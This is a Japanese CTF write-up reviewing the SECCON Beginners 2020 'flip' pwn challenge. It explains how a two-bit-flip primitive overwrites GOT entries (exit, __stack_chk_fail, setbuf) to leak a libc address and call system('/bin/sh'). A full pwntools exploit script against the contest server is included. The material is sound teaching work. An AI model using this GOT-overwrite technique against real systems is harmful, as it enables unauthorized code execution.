SECCON Beginners CTF 2020 flip 勉強
この記事は本大会で自分が解けなかった問題flipの復習です.
ガッツリ参考
概要
ユーザが指定したアドレスから1バイト分の領域の中で,2ビットだけ反転するプログラム.指定するbitを負数にすれば,反転しないこともできる.
流れ
関数ポインタを書き換えて任意の関数のものと入れ替える.
1.exit
のGOTを書き換えて_start+6
を刺すようにすることで無限ループするようにする.その後start+6
を_start
に書き換える.
2.libcのベースアドレスのリークを行う.
先ほどと同じように今度は,setbuf
をputs
に向ける.
上図の2回目のsetbuf
の第1引数であるstderr
の8byte先には_IO_read_ptr
があるので,puts
によって出力されlibcアドレスの特定ができる.
この書き換えを行うには注意がいる.書き換えが1回のループでは行えないため,そのまま行うと書き換え途中のsetbuf
が呼ばれてしまう.
そこで,未使用の__stack_chk_fail
を利用する.これをmain関数の先頭に書き換え,exit
のGOTを__start_chk_fail
のPLTにすることでsetbuf
を呼ばずにループされるようになる.
この間にsetbuf
のGOTとstderrのポインタを書き換える.その後,exit
を_start
に戻すことで,setbuf
が呼ばれ,libcアドレスのリークが成功する.
3.setbuf
をputs
にしたのと同じように,setbuf
のGOTをsystem
に向け,stderrのポインタを/bin/sh
に向ける.今回も一度では書き換えれないため,先ほどと同じようにexit
を__stack_chk_fail
に向けて書き換えを行う.終えたら,戻してシェルが取れて終了.
コード
from pwn import * def flip_byte(address, flips): s.sendlineafter(">> ", str(address)) n_flip = 0 for i in range(8): if (flips >> i) & 1: s.sendlineafter(') >> ', str(i)) n_flip += 1 flips ^= 1 << i if n_flip > 1: break if flips: flip_byte(address, flips) elif n_flip < 2: s.sendlineafter(') >> ', '-1') def flip_qword(address, flips): for i in range(8): if flips & 0xff: flip_byte(address+i, flips & 0xff) flips >>= 8 elf = ELF("./flip") libc = ELF("./libc-2.27.so") #s = process("./flip") s = remote('flip.quals.beginners.seccon.jp', 17539) addr_got_exit = elf.got['exit'] addr_plt_exit = elf.plt['exit'] addr_start = elf.functions['_start'].address addr_main = elf.functions['main'].address addr_got_setbuf = elf.got['setbuf'] addr_plt_stack_chk = elf.plt['__stack_chk_fail'] addr_got_stack_chk = elf.got['__stack_chk_fail'] addr_stderr = elf.symbols['stderr'] offset_libc_setbuf = libc.functions['setbuf'].address offset_libc_puts = libc.functions['puts'].address offset_libc_stderr = libc.symbols['_IO_2_1_stderr_'] # Get infinite flip flip_byte(addr_got_exit, ((addr_plt_exit+6) ^ (addr_start +6)) & 0xff) # exit --> start+6 flip_byte(addr_got_exit, 6) # exit --> start flip_qword(addr_got_stack_chk, (addr_plt_stack_chk+6) ^ addr_main) flip_byte(addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff) flip_byte(addr_stderr, 8) flip_qword(addr_got_setbuf, offset_libc_setbuf ^ offset_libc_puts) flip_byte(addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff) print(s.recvuntil('\n')) print(s.recvuntil('\n')) addr_libc_stderr = u64(s.recvuntil('\n')[:-1] + b'\x00'*2) - 0x83 #addr_libc_stderr = int(s.recvuntil('\n')[:-1], 16) - 0x83 addr_libc_base = addr_libc_stderr - offset_libc_stderr print("addr_libc_base = ", hex(addr_libc_base)) addr_libc_puts = addr_libc_base + libc.functions['puts'].address addr_libc_system = addr_libc_base + libc.functions['system'].address addr_libc_str_sh = addr_libc_base + next(libc.search(b'/bin/sh')) flip_byte(addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff) flip_qword(addr_got_setbuf, addr_libc_puts ^ addr_libc_system) flip_qword(addr_stderr, (addr_libc_stderr+8) ^ addr_libc_str_sh) flip_byte(addr_got_exit, (addr_start ^ addr_plt_stack_chk) & 0xff) s.interactive()
flip_byte()
の軽い説明
最初に行うexit
の書き換えを使って説明を行う.
flip_byte(addr_got_exit, ((addr_plt_exit+6) ^ (addr_start +6)) & 0xff) # exit --> start+6
はじめはまだexit
は呼ばれていないためGOTは<exit@plt>+6
(0x4006d6)を指しており,_start+6
(0x4006e6)と値が似ているため書き換えれる.お互いの排他的論理和を計算し,結果は末尾1バイトにだけ1が現れるはずなのでそれ以外を捨てて,引数として格納する.その後.forループで先ほどのflips引数を確認し,1のところだけを入れ替える.